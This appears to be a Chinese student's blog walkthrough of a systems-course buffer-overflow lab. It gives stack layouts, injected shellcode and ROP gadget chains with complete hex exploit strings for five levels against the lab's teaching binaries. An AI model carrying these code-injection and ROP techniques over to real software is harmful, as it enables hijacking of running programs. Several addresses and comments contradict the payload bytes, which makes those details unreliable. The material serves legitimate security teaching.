计算机系统基础第三次实验

每日一言

On the one hand, humans seek out new stimuli with insatiable desire. On the other, they’re also odd creatures that value old and very rare things. – Victorique de Blois
from Gosick

提示:请勿直接将本文的任何图片以及大量文字直接使用到自己的实验报告中,本博客只记录通关方法给各位参考。

实验三

第一关:

阅读文档,我们得知函数正常运行时,由test函数调用getbuf() 函数,如果程序正常运行,在执行getbuf()的ret语句后,程序计数器会从栈中获得test中下一条语句的汇编代码的地址,从而返回到test函数。

但是这个程序的读入部分并不会检测读入部分是否超过原本分配的空间,造成栈中的数据被破坏。

所以我们需要做的事情就是:

  1. 输入超量的内容使得getbuf()的函数栈帧被破坏。
  2. 让ret 执行后程序计数器得到的地址为touch1函数。

我们直接看getduf的汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

00000000004018ef <getbuf>:

4018ef: 48 83 ec 38 sub $0x38,%rsp

4018f3: 48 89 e7 mov %rsp,%rdi

4018f6: e8 96 02 00 00 callq 401b91 <Gets>

4018fb: b8 01 00 00 00 mov $0x1,%eax

401900: 48 83 c4 38 add $0x38,%rsp

401904: c3 retq

我们得知此时函数的栈帧大致如下:(一行为8个字节)

返回地址
输入内容
输入内容
输入内容
输入内容
输入内容
输入内容
输入内容 (rsp 指向地址)->

然后我们需要得知 touch1 的地址为:0000000000401905 <touch1>:

所以我们需要输入64个字节的内容,前56个字节的内容仅仅用来填充,所以无所谓,重要的是最后8个字节的内容,需要为touch1 的地址。同时机器采用小端的存储方式,所以我们最后一个字节的地址需要两位一组的倒叙输入,则我们得到答案如下:

1
2
3

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 19 40 00 00 00 00 00

然后我们通过hex2raw 程序将我们输入的字符转为机器内容。最后输入给程序就ok啦。

1732350273704

第二关

根据文档中的说明,touch2的c代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


voidtouch2(unsignedval) {

vlevel =2; /* 验证协议的一部分 */

if (val == cookie) {

printf("Touch2!: You called touch2(0x%.8x)\n", val);

validate(2);

} else {

printf("Misfire: You called touch2(0x%.8x)\n", val);

fail(2);

}

exit(0);

}


我们在调用touch2函数时,还需要传递我们的cookie为传参,即我们要让寄存器%rdi 的内容为我们的cookie值。

我们需要自己注入攻击代码给%rdi赋值,同时通过ret 跳转到touch2的开始地址。

那么我们的程序运行步骤应该如下:

  1. 第一次通过ret 让程序运行我们的攻击代码:

    1
    2
    3
    4
    5

    movq cookie,%rdi

    ret

  2. 第二次通过ret,让程序跳转到touch2的开始地址

那么我们分析一下栈的情况,在

touch2的开始地址
攻击代码的地址
攻击代码
输入内容
输入内容
输入内容
输入内容
输入内容
输入内容 (rsp 指向地址)->

我们打印当前%rsp的地址,那么我们的攻击代码地址为 0x55626a78 + 0x30 = 0x55626aa8,touch2的开始地址为:0x4019a1

1732460906077

然后我们需要知道攻击的机器语言是什么,我们创建一个tem.s文件,在其中输入我们的攻击代码,然后通过gcc进行编译

1
2
3

gcc -c tem.s

然后我们再通过objdump反汇编,查看机器语言的16进制表示为:

1
2
3
4
5
6
7

0000000000000000 <.text>:

0: 48 c7 c7 88 2a 53 10 mov $0x10532a88,%rdi

7: c3 retq

所以我们的攻击代码16进制表示为:48 c7 c7 88 2a 53 10 c3 刚好8个字节。

所以我们最后24个字节的内容为:

1
2
3

48 c7 c7 88 2a 53 10 c3 a8 6a 62 55 00 00 00 00 39 19 40 00 00 00 00 00

我们把前面的48个字节全部填充为00,所以最终答案为:

1
2
3

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 c7 c7 88 2a 53 10 c3 a8 6a 62 55 00 00 00 00 39 19 40 00 00 00 00 00

1732461808649

第三关

第三关用到了两个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

inthexmatch(unsignedval,char*sval) {

charcbuf[110];

char*s = cbuf +random() %100; /* 使检查字符串的位置不可预测 */

sprintf(s,"%.8x", val);

returnstrncmp(sval, s,9) ==0;

}


voidtouch3(char*sval) {

vlevel =3; /* 验证协议的一部分 */

if (hexmatch(cookie, sval)) {

printf("Touch3!: You called touch3(\"%s\")\n", sval);

validate(3);

} else {

printf("Misfire: You called touch3(\"%s\")\n", sval);

fail(3);

}

exit(0);

}

我们在调用touch3的时候同时还需要给touch3传递一个字符串的首地址,并且在 hexmatch 函数中,要求我们传递的字符串,与 char *s = cbuf + random() % 100; 相等。

hexmatch中使用了random 函数来生成一个随机数,来让字符串s变的不确定,但是字符串s的值每次是一个固定的值我们的(cookie):10532a88

1732501598690

那么我们只需要在完成以下步骤:

  1. 插入匹配字符串
  2. 第一次ret 让%rip 指向攻击代码
  3. 攻击代码将字符串的首地址赋给%rdi
  4. 第二次ret 让%rip 指向touch3

然后我们对照ascll码表将字符串转为二进制编码为: 31 30 35 33 32 61 38 38 00

1732501805264

最后我们来看覆盖完后栈的情况:

touch3的开始地址 52 1a 40 00 00 00 00 00
攻击代码的地址 a8 6a 62 55 00 00 00 00
movq $0x55626a20, %rdi ret 48 c7 c7 78 6a 62 55 c3
填充内容 00 00 00 00 00 00 00 00
填充内容 00 00 00 00 00 00 00 00
填充内容 00 00 00 00 00 00 00 00
填充内容 00 00 00 00 00 00 00 00
填充内容 00 00 00 00 00 00 00 00
``填充内容 31 30 35 33 32 61 38 38 00 (rsp 指向地址)->

所以完整的答案为:

1
2
3

31 30 35 33 32 61 38 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 c7 c7 78 6a 62 55 c3 a8 6a 62 55 00 00 00 00 52 1a 40 00 00 00 00 00

1732502463020

这样第三关就通过啦。

第四关

第四关要求我们在rtarget 中重现touch2。由于在rtarget中我们无法自己注入攻击代码,所以我们只能在farm中寻找我们需要的代码。

经过测试,直接使用 pop %rdi 在虽然能够在服务器端通过,但是远端计分侧会显示错误。所以我们这里寻找汇编代码:

1
2
3
4
5

pop %rad

ret

1
2
3
4
5

movq %rax,%rdi

ret

我们分别将他们通过gcc编译再通过objdump 反汇编,得到他们机器码的16进制。

1732533977823

1732533988390

于是我们在rtarget中寻找 58 c3:

1732534052836

58 c3 的地址位于:0x401b2b

然后我们寻找 48 89 c7

1732534146395

48 89 c7 的地址是:0x401b15

好,现在所需要的信息我们已经掌握的差不多了,我们总结一下程序的运行过程:

  1. 第一次ret 让程序跳转到0x401b2b 执行:pop %rax 指令
  2. 第二次ret 让程序跳转到0x401b2b 执行:movq %rax,%rdi
  3. 第三次ret 让程序跳转到0x4019a1 执行:touch2

所以我们栈的填充情况如下:

touch2的首地址 39 19 40 00 00 00 00 00
0x401b15 执行:movq %rax,%rdi 15 1b 40 00 00 00 00 00
cookie 88 2a 53 10 00 00 00 00
0x401b2b 执行:pop %rax 指令 2b 1b 40 00 00 00 00 00
填充内容 00 00 00 00 00 00 00 00
填充内容 00 00 00 00 00 00 00 00
填充内容 00 00 00 00 00 00 00 00
填充内容 00 00 00 00 00 00 00 00
填充内容 00 00 00 00 00 00 00 00
填充内容 00 00 00 00 00 00 00 00
填充内容(rsp 指向地址)->00 00 00 00 00 00 00 00

所以最终答案为:

1
2
3

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2b 1b 40 00 00 00 00 00 88 2a 53 10 00 00 00 00 15 1b 40 00 00 00 00 00 39 19 40 00 00 00 00 00

1732526544997

第五关

在这一关中,我们需要通过farm中提供的汇编代码,构建gadget代码,然后将cookie 字符串的地址放在%rdi中,然后调用touch3 函数。

首先我们需要在farm中寻找我们需要的汇编代码,由于 89 总是与mov有关系,所以在所有有关89的汇编代码,我们可以找到如下汇编代码:

  1. 1732879321127

    48 89 e0 : mov %rsp,%rax

  2. 1732879498995

    48 89 c7 : mov %rax,%rdi

  3. 1732879559068

    58 : pop %rax

  4. 1732879647593

    89 c1 20 c9 :

    1
    2
    3
    4
    5

    mov %rax,%rcx

    and %cl,%cl

  5. 1732879833785

    89 ca 90 90 :

    1
    2
    3
    4
    5
    6
    7

    mov %ecx,%edx

    nop

    nop

  6. 1732879915435

    89 d6 91 :

    1
    2
    3
    4
    5

    mov edx,esi

    xchg %eax,%ecx

  7. 1732880001439

    48 89 c7 :

    1
    2
    3

    mov %rax,%rdi

h通过拼凑以上汇编代码,我们可以写出如下攻击流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

mov %rsp,%rax

mov %rax,%rdi

pop %rax

mov %rax,%rcx

and %cl,%cl (无实际意义)

mov %ecx,%edx

nop(无实际意义)

nop(无实际意义)

mov edx,esi

xchg %eax,%ecx(无实际意义)

lea (%rdi,%rsi,1),%rax

mov %rax,%rdi

call touch3

这样我们就可以将栈中的某个地址传递给%rdi,然后我们只需要在栈的对应位置储存cookie 的字符串即可。

我们画出栈的示意图

cookie 31 30 35 33 32 61 38 38
touch3 52 1a 40 00 00 00 00 00
mov %rax,%rdi 15 1b 40 00 00 00 00 00
lea (%rdi,%rsi,1),%rax 33 1b 40 00 00 00 00 00
mov edx,esi ed 1b 40 00 00 00 00 00
mov %ecx,%edx 4e 1b 40 00 00 00 00 00
mov %rax,%rcx e5 1b 40 00 00 00 00 00
0x48 48 00 00 00 00 00 00 00
pop %rax 2b 1b 40 00 00 00 00 00
mov %rax,%rdi 15 1b 40 00 00 00 00 00
mov %rsp,%rax 8a 1b 40 00 00 00 00 00
填充内容 00 00 00 00 00 00 00 00
填充内容 00 00 00 00 00 00 00 00
填充内容 00 00 00 00 00 00 00 00
填充内容 00 00 00 00 00 00 00 00
填充内容 00 00 00 00 00 00 00 00
填充内容 (rsp 指向地址)->00 00 00 00 00 00 00 00

所以我们得到答案为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

8a 1b 40 00 00 00 00 00

15 1b 40 00 00 00 00 00

2b 1b 40 00 00 00 00 00

48 00 00 00 00 00 00 00

e5 1b 40 00 00 00 00 00

4e 1b 40 00 00 00 00 00

ed 1b 40 00 00 00 00 00

33 1b 40 00 00 00 00 00

15 1b 40 00 00 00 00 00

52 1a 40 00 00 00 00 00

31 30 35 33 32 61 38 38

最后附上通过第5关的截图:

1732881219074


计算机系统基础第三次实验
http://blog.ulna520.com/2024/11/29/计算机系统基础第三次实验_20241129_195603/
Veröffentlicht am
November 29, 2024
Urheberrechtshinweis